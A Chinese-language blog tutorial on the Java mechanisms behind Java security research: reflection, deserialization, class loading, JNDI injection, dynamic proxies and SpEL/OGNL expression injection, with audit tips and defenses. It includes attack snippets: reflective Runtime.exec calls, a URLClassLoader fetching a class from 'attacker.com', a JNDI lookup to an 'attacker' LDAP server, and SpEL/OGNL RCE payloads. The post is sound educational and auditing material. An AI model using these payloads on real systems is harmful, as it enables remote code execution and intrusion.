Java基础
本系列是 Java 安全研究的基础篇。后面要啃的内存马、Fastjson 反序列化、鉴权绕过,本质上都是下面这几块 Java 底层机制的排列组合:
- 反射 —— 反序列化和内存马的”手”(动态加载、实例化、改私有字段都靠它);
- 序列化 —— 反序列化漏洞的载体;
- 类加载 —— JSP webshell 和自定义 ClassLoader 加载恶意类的原理;
- JNDI —— Fastjson / Log4j RCE 的落地点;
- 表达式注入、动态代理 —— 框架类漏洞的常见入口。
本文按安全研究中的高频程度排序,把 Java 基础拆成九个板块。
一、Java 程序运行机制
1.1 编译执行流程
Java 源码 (.java)
│ javac 编译(编译期)
▼
字节码文件 (.class) —— 平台无关,跨平台的关键
│ 类加载器 加载(运行期)
▼
JVM 执行
├── 解释执行:逐条翻译字节码,慢
└── JIT 编译:热点代码编译为本地机器码,快
一个 .java 源文件可以对应多个 .class(内部类、Lambda 等)。JSP 在 Tomcat 里的本质也是编译成 Servlet 的 .class 再执行——这决定了 JSP webshell 与 Servlet 内存马在执行层面是同一条链。
1.2 安全研究必会:javap 反编译
反序列化和内存马分析中,看字节码比看源码更接近真相(比如确认某个方法到底调没调、构造器参数是什么)。JDK 自带 javap:
# 反编译方法调用(不含方法体)
javap -c -p com.example.SomeClass
# 反编译完整实现(本地变量、行号)
javap -c -l -p com.example.SomeClass
# 只看类签名、继承关系、字段、方法声明
javap -p com.example.SomeClass
本博客《内存马原理总纲》里所有 Tomcat 调用链(如
CoyoteAdapter.service()→StandardWrapperValve.invoke()→servlet.service()),都是用javap对catalina.jar逐一核实过才写出来的。
1.3 与安全研究的关系
| 机制 | 安全意义 |
|---|---|
| 字节码 | Java Agent 内存马改的就是内存里的字节码,见《Java Agent 内存马》 |
| 类加载 | JSP webshell、URLClassLoader 加载远程恶意类 |
| JVM 执行 | 反序列化漏洞最终也落在”调用链 + 方法执行”上 |
二、字符串操作
2.1 String 不可变性
String 是 final 类,char[](JDK 8)/ byte[](JDK 9+)由 private final 修饰,一旦创建不可修改。所有”修改”都是创建新对象:
String s = "abc";
String s2 = s + "d"; // 产生新对象,s 不变
String s3 = s.toUpperCase(); // 产生新对象
安全意义:不可变保证 equals 判断的是内容而非引用地址,是散列键安全的根基;也意味着拼接大量字符串会有性能问题(引出 StringBuilder)。
2.2 == 与 equals:代码审计的高频点
==比较引用地址(基本类型比较值);equals比较内容(String 重写了它)。
String a = "abc"; // 字面量 → 常量池
String b = "abc"; // 复用常量池中同一对象
String c = new String("abc"); // 堆上新对象
a == b // true (同一常量池对象)
a == c // false (地址不同!)
a.equals(c) // true (内容相同)
审计点:用 == 比较字符串(尤其用户输入)是典型 Bug,会导致认证/权限判断被绕过或”明明相同却不相等”。
// ❌ 用 == 比较用户输入
if (userInput == "admin") { ... } // 大概率永远不成立
// ✅ 用 equals / equalsIgnoreCase
if ("admin".equals(userInput)) { ... }
2.3 字符串拼接与注入(审计核心)
字符串拼接本身不是漏洞,但把不可信输入拼进敏感上下文就会变成注入:
// SQL 注入
String sql = "SELECT * FROM user WHERE name = '" + name + "'";
// 命令注入
String cmd = "/bin/sh -c " + command;
// XSS
String html = "<div>" + content + "</div>";
// 模板/表达式注入(拼进 SpEL / OGNL)
审计手法:全局搜 + 拼接、String.format、MessageFormat,追踪变量是否来自 getParameter / getHeader / 反序列化输入。
2.4 StringBuilder / StringBuffer
大量拼接用 StringBuilder(单线程)或 StringBuffer(线程安全,方法加锁):
StringBuilder sb = new StringBuilder();
for (String line : lines) {
sb.append(line); // 高效,不产生中间对象
}
审计点:append 的变量如果是用户可控且最终拼进命令/SQL/HTML,与 + 拼接同样危险。
2.5 安全分析常用的字符串操作
反序列化 Payload、Base64、编码绕过里几乎天天用到:
// Base64
String b64 = Base64.getEncoder().encodeToString(data);
byte[] raw = Base64.getDecoder().decode(b64);
// 十六进制(序列化字节流分析常用)
String hex = HexFormat.of().formatHex(bytes);
// URL 编码(鉴权绕过的核心,见[《Java Web 鉴权绕过模式深度剖析》](/java%E5%AE%89%E5%85%A8/web%E5%AE%89%E5%85%A8/2026/05/08/Java-Web%E9%89%B4%E6%9D%83%E7%BB%95%E8%BF%87%E6%A8%A1%E5%BC%8F%E6%B7%B1%E5%BA%A6%E5%89%96%E6%9E%90/))
String enc = URLEncoder.encode("/admin;.js", "UTF-8");
// 字节数组 ↔ 字符串(读命令输出/读文件内容)
String content = new String(bytes, StandardCharsets.UTF_8);
三、流程(程序流程与异常)
3.1 基本流程控制
顺序、分支(if/else、switch)、循环(for、while、for-each)、break/continue/return。这部分语法简单,重点放在安全审计视角的几类”流程缺陷”。
3.2 异常体系
Throwable
├── Error —— 程序无法恢复,如 OutOfMemoryError、StackOverflowError
└── Exception
├── 受检异常(Checked)—— 编译器强制处理,如 IOException
└── 非受检异常(RuntimeException)—— 不必显式声明,如 NPE、ClassCastException
try {
// 可能抛异常
Class.forName(userInput).newInstance();
} catch (ClassNotFoundException e) {
// 处理
} finally {
// 无论是否异常都执行
}
3.3 异常处理的安全审计点
| 模式 | 风险 |
|---|---|
catch (Exception e) {} 空捕获吞异常 |
攻击者触发的异常被静默吞掉,漏洞行为不可见,难以排查 |
catch 后 return 继续走逻辑 |
可能绕过权限/校验(异常被当成”通过”) |
finally 里的 return |
覆盖 try 中的 return,造成意外的流程跳转 |
| 异常信息直接回显给前端 | 泄露堆栈、类名、框架版本(ClassNotFoundException: com.sun.rowset.JdbcRowSetImpl 会暴露内部类路径) |
// ❌ 吞异常:鉴权模块 catch 到解析失败直接放行
try {
User u = tokenService.parse(token);
if (u == null) return false;
} catch (Exception e) {
return true; // ← 恶意 token 解析异常 → 直接放行!
}
// ✅ 失败即拒绝(fail-closed)
try {
User u = tokenService.parse(token);
return u != null && u.hasRole("ADMIN");
} catch (Exception e) {
log.error("token 解析失败", e);
return false; // 异常 → 拒绝
}
3.4 try-with-resources
自动关闭实现了 AutoCloseable 的资源(流、连接):
try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream("obj.ser"))) {
Object o = ois.readObject(); // 反序列化入口,见第五节
}
四、反射机制(安全研究的基石)
反射 = 运行时动态获取类的结构并操作它。这是 Java 安全里最重要的一块:反序列化漏洞用它动态加载 @type 指定的类,内存马用它改容器私有字段,几乎所有 gadget 链都要靠它。
4.1 获取 Class 对象的三种方式
// 1. 类名(最常用,字符串可控 → 可指定任意类)
Class<?> c1 = Class.forName("com.sun.rowset.JdbcRowSetImpl");
// 2. 类字面量
Class<?> c2 = JdbcRowSetImpl.class;
// 3. 实例
JdbcRowSetImpl obj = new JdbcRowSetImpl();
Class<?> c3 = obj.getClass();
注意:Class.forName(name) 默认会执行静态初始化块(static initializer),而 ClassLoader.loadClass(name) 不会。某些 gadget 依赖静态块触发副作用,因此两者在利用链里不能混用。
4.2 构造对象、调用方法、访问字段
Class<?> clazz = Class.forName("java.lang.Runtime");
// 构造对象:优先 getDeclaredConstructor().newInstance()(newInstance() 在 JDK 9+ 已废弃)
Constructor<?> ctor = clazz.getDeclaredConstructor();
Object runtime = ctor.newInstance(); // 私有构造也能 setAccessible(true) 后调用
// 调用方法:invoke 第一个参数是"目标对象",静态方法传 null
Method getRuntime = clazz.getMethod("getRuntime");
Object instance = getRuntime.invoke(null);
Method exec = clazz.getMethod("exec", String.class);
exec.invoke(instance, "id"); // 反射执行命令
// 访问字段:getDeclaredField 拿私有字段,setAccessible(true) 绕访问控制
Field field = clazz.getDeclaredField("somePrivateField");
field.setAccessible(true);
Object value = field.get(instance);
反射执行命令的经典写法(内存马、反序列化 payload 里反复出现):
String cmd = "id";
Class<?> rc = Class.forName("java.lang.Runtime");
Method m = rc.getMethod("exec", String.class);
m.invoke(rc.getMethod("getRuntime").invoke(null), cmd);
4.3 setAccessible(true):绕过私有访问控制
getDeclaredField / getDeclaredMethod 拿到私有成员后,必须 setAccessible(true) 才能访问/调用。内存马正是靠它读取并修改 Tomcat 内部私有字段:
// 拿 Tomcat 的 StandardContext(Filter/Servlet 内存马的入口)
// 见《内存马原理总纲》:把恶意代码 + URL 映射组装进容器注册表
Object request = ...; // 从当前请求对象向上反推得到 StandardContext
Field ctxField = request.getClass().getDeclaredField("context");
ctxField.setAccessible(true);
Object standardContext = ctxField.get(request);
4.4 高版本 JDK 的反射限制
- JDK 9+ 模块系统:反射访问 JDK 内部模块(
sun.*、jdk.internal.*)默认被拒,需启动参数--add-opens java.base/sun.nio.ch=ALL-UNNAMED; newInstance()已废弃:尽量用getDeclaredConstructor().newInstance();- 反序列化中大量依赖
sun.reflect.*的 gadget,在 JDK 17+ 多数已失效。
4.5 反射的应用场景对照
| 安全场景 | 反射扮演的角色 |
|---|---|
| Fastjson AutoType | @type 字段 → Class.forName → 反射实例化 → 反射调 setter,见《Fastjson反序列化漏洞深度剖析》 |
| 内存马 | 反射拿 StandardContext、filterConfigs 等私有字段并修改 |
| 绕过 | setAccessible(true) 调私有方法、读私有字段 |
| 动态代理 | Proxy.newProxyInstance 底层依赖反射,见第八节 |
五、序列化与反序列化
5.1 什么是序列化
序列化 = 把对象转成字节流(用于存储/网络传输);反序列化 = 把字节流还原成对象。Java 原生序列化靠 ObjectOutputStream / ObjectInputStream,对象实现 Serializable 即可:
// 序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("obj.ser"));
oos.writeObject(user);
// 反序列化 ← 安全研究的重点
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("obj.ser"));
User user = (User) ois.readObject();
5.2 序列化的魔术方法
readObject / writeObject 等方法是反序列化漏洞的入口点:
public class User implements Serializable {
private static final long serialVersionUID = 1L; // 版本号,不匹配会抛 InvalidClassException
private String name;
private String command;
// 自定义反序列化逻辑(漏洞的入口就在这里)
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject(); // 先按默认规则还原字段
// ❌ 反序列化时直接调用危险方法 → 攻击者构造恶意字节流即可 RCE
Runtime.getRuntime().exec(command);
}
}
常见魔术方法:
| 方法 | 触发时机 | 说明 |
|---|---|---|
readObject |
反序列化时 | 最主要的漏洞入口 |
readObjectNoData |
流中无该类数据时 | 反序列化也会触发 |
readResolve |
readObject 返回后 | 可替换返回对象 |
writeObject |
序列化时 | 序列化逻辑 |
writeReplace / readResolve |
序列化/反序列化时 | 替换对象 |
5.3 反序列化漏洞原理
核心问题:readObject() 接受的是不可信的字节流,还原对象过程中会调用一系列方法。攻击者构造一个特殊的类结构,让 readObject 的调用链最终落到 Runtime.exec / JNDI lookup 等危险方法上。
恶意字节流(攻击者构造)
↓ readObject() ← 入口(如 HashMap.readObject)
↓ 链上的方法调用 ← gadget chain(如 TemplatesImpl → getOutputProperties → newTransformer → 加载恶意字节码)
↓ 危险方法 ← sink(Runtime.exec / JNDI lookup / URLClassLoader)
三个要素:
| 要素 | 含义 | 例子 |
|---|---|---|
| 入口 | 攻击者可控的 readObject |
HashMap、PriorityQueue、TemplatesImpl |
| 链(Gadget) | 串联入口到 sink 的方法调用序列 | CommonsCollections、C3P0、JRMP |
| 落点(Sink) | 真正执行危险操作 | Runtime.exec、InitialContext.lookup、Method.invoke |
反序列化 ≠ Fastjson。Java 原生反序列化走
ObjectInputStream.readObject,字节流带类名;Fastjson 是 JSON 反序列化,靠@type指定类名 + 反射实例化 + setter 触发。两者入口不同,但都依赖”反射 + 危险方法落点”。
5.4 利用工具与定位手法
- ysoserial:生成各种 gadget 链的序列化 payload(
CommonsCollections1/2/...等); - 定位入口类:全局搜
readObject、ObjectInputStream; - 定位 sink:全局搜
Runtime.getRuntime().exec、InitialContext().lookup、URLClassLoader、ProcessBuilder; - 判定标准:是否有不可信数据进入
readObject()/ 反序列化库的 parse 方法。
防御方向:禁止反序列化不可信数据 / 用白名单 ObjectInputFilter(JDK 9+)/ 换 JSON 等安全格式。详见《Fastjson反序列化漏洞深度剖析》的防御章节。
六、类加载机制
6.1 类加载过程
加载 → 验证 → 准备 → 解析 → 初始化
加载 是安全研究关注的重点:把 .class 字节码读入内存生成 Class 对象。字节码可以来自 classpath、网络、内存(Agent 内存马)。
6.2 双亲委派模型
Bootstrap ClassLoader JAVA_HOME/lib 核心库(rt.jar / java.base)
↑ 委托
Extension/Platform Loader JAVA_HOME/lib/ext
↑ 委托
Application ClassLoader classpath(应用自己的类)
↑ 委托
自定义 ClassLoader 开发者自写
双亲委派:类加载请求先交给父加载器,父加载器找不到才自己加载。意义是保证核心类(如 java.lang.String)只被加载一份,防止伪造。
安全意义:
- 攻击者若能让某个类的字节码被应用加载器加载到,就等于让代码执行权掌握在自己手里;
- 反序列化 gadget 需要”目标类在应用 classpath 里”,这就是为什么研究反序列化要先摸清依赖(
find . -name "*.jar")。
6.3 URLClassLoader:加载任意位置的类
URLClassLoader 可以加载指定 URL(本地目录、HTTP 远程、jar)下的类,是 webshell 和 RCE 的经典落地方式:
// 从远程服务器加载恶意类
URLClassLoader loader = new URLClassLoader(new URL[] {
new URL("http://attacker.com/evil/")
});
Class<?> evil = loader.loadClass("Evil");
Object obj = evil.getDeclaredConstructor().newInstance(); // 恶意代码在构造/静态块里执行
// 从内存字节数组直接定义类(无磁盘文件,Agent 型内存马思路)
byte[] bytes = getEvilClassBytes(); // 任意来源
Method define = ClassLoader.class.getDeclaredMethod(
"defineClass", String.class, byte[].class, int.class, int.class);
define.setAccessible(true);
Class<?> evil = (Class<?>) define.invoke(loader, "Evil", bytes, 0, bytes.length);
6.4 自定义 ClassLoader
继承 ClassLoader → 重写 findClass(或 loadClass)→ 读取字节码 → defineClass
JSP 编译后的 _jsp.java / _jsp.class 就是 Tomcat 用 JasperLoader(一个自定义 ClassLoader)加载的。所以 JSP webshell 的本质:上传一个 JSP → Tomcat 编译成 Servlet → JasperLoader 加载 → 执行 _jspService 里的命令代码。
关联阅读:《Tomcat基础》里的 Servlet / JSP 示例,以及内存马系列中”恶意类如何被容器加载”的讨论。
七、JNDI 注入
7.1 什么是 JNDI
JNDI(Java Naming and Directory Interface) 是 Java 的”命名/目录服务统一接口”,可以通过名字查找资源。常见提供方:RMI、LDAP、CORBA、DNS。
Context ctx = new InitialContext();
Object obj = ctx.lookup(userInput); // 按名字查找
7.2 JNDI 注入原理(RCE 落地点)
如果 lookup 的参数是攻击者可控的,攻击者指向自己的 RMI/LDAP 服务器,返回一个恶意 Reference,目标 JVM 会去 Reference 指定的远程地址拉取 .class 并加载执行:
攻击者构造: lookup("ldap://attacker:1389/Exploit")
↓
目标 JVM 向 attacker:1389 发起 LDAP 查询
↓
恶意 LDAP 服务器返回 Reference(指向 http://attacker/Exploit.class)
↓
目标 JVM 远程加载 Exploit.class 并实例化 → 构造/静态块中的代码执行 → RCE
这是 Fastjson(JdbcRowSetImpl + dataSourceName + autoCommit)、Log4j2(JNDI Lookup)等 RCE 的核心落地机制。
7.3 高版本 JDK 限制
| 版本 | RMI | LDAP | 说明 |
|---|---|---|---|
| < 6u141 / 7u121 / 8u121 | ✅ | ✅ | 默认可远程加载 codebase |
| 8u121 ~ 8u191 | ✅ | ✅ | 需设 com.sun.jndi.rmi.object.trustURLCodebase=true |
| ≥ 8u191 | ❌ | ❌ | 默认禁止远程加载,需要利用本地 Factory / 绕过 |
所以高版本 JDK 下 JNDI 注入通常转向:本地 Gadget(如 BeanFactory、Tomcat MBean)、LDAP 本地类引用等。这是审计时判断”这条链还通不通”的关键。
7.4 审计手法
# 搜 JNDI 入口
grep -rn "InitialContext\|ctx.lookup\|lookup(" --include="*.java" .
# 搜 JNDI 相关配置
grep -rn "java.naming\|jndi" --include="*.properties" --include="*.yml" --include="*.xml" .
判断:lookup() 的参数是否来自外部输入(URL、参数、反序列化字段)。
八、动态代理
8.1 什么是动态代理
代理模式:不直接调目标,而是通过代理对象间接调用,在调用前后插入额外逻辑(日志、鉴权、AOP)。动态代理 = 运行时生成代理类,无需手写。
8.2 JDK 动态代理(Proxy + InvocationHandler)
只支持接口:
// 1. 实现 InvocationHandler,所有方法调用都经过 invoke
InvocationHandler handler = (proxy, method, args) -> {
System.out.println("拦截方法: " + method.getName());
return method.invoke(target, args); // 转发给真实对象
};
// 2. 生成代理对象(依赖反射)
Object proxy = Proxy.newProxyInstance(
target.getClass().getClassLoader(), // 类加载器
target.getClass().getInterfaces(), // 要代理的接口
handler);
8.3 CGLIB
JDK 代理只代理接口,代理类(无接口)要用 CGLIB,它通过生成目标类的子类实现(Spring AOP 默认策略:有接口用 JDK 代理,无接口用 CGLIB)。
8.4 与安全研究的关系
- Spring AOP / Spring 内存马:
HandlerInterceptor、AopContext等机制都建立在动态代理上; - 反序列化 gadget:部分链(如某些 Templates 相关)利用动态代理拦截
equals/hashCode触发后续调用; - 绕过类名检测:代理类名形如
$Proxy0,在检测”是否出现陌生类”时可作为隐蔽手段。
九、表达式注入基础
9.1 什么是表达式注入
框架经常允许用户输入表达式字符串(SpEL / OGNL / EL / MVEL),表达式由框架解析执行。如果表达式拼接了不可信输入且未隔离,就是表达式注入 → RCE。
9.2 SpEL(Spring 表达式)
// ❌ 表达式来自用户输入
String userExpr = request.getParameter("expr");
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression(userExpr); // 解析任意表达式
exp.getValue(); // 执行
// 恶意表达式:直接调用静态方法执行命令
// T(java.lang.Runtime).getRuntime().exec('id')
// new javax.script.ScriptEngineManager().getEngineByName("JavaScript").eval("...")
// T(java.net.InetAddress).getByName("dnslog.xxx")
9.3 OGNL(Struts2 / MyBatis)
// Struts2 经典 OGNL RCE(CVE-2017-5638 思路)
// ${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(...)}
// (#cmd='id').(#is=new java.io.InputStreamReader(#p.getInputStream()))
9.4 常见表达式对比
| 表达式 | 框架 | 典型注入点 |
|---|---|---|
| SpEL | Spring | @Value、parseExpression、注解值 |
| OGNL | Struts2、MyBatis | 拦截器参数、标签属性 |
| EL | JSP / 模板 | ${...},一般仅取值 |
| MVEL | Drools、部分 CMS | eval、execute |
9.5 审计手法
grep -rn "parseExpression\|SpelExpressionParser\|@ognl\|getValue()" --include="*.java" .
判断:表达式字符串是否含用户输入;是否用了 StandardEvaluationContext(默认功能全开,危险;应换成 SimpleEvaluationContext)。
总结
把九块串成一条主线,就是 Java 安全研究从”看得懂代码”到”能造链”的路径:
看得懂基础(运行机制 / 字符串 / 流程)
↓
摸得清机制(反射 / 序列化 / 类加载)
↓
用得起来(JNDI / 动态代理 / 表达式)
最核心的三块:反射、序列化、类加载。反序列化漏洞 = 反射 + 危险落点;内存马 = 反射改注册表 / 字节码;JSP webshell = 类加载 + 编译。把这几个机制吃透,再去读内存马系列、Fastjson 系列、鉴权绕过系列,会顺畅得多。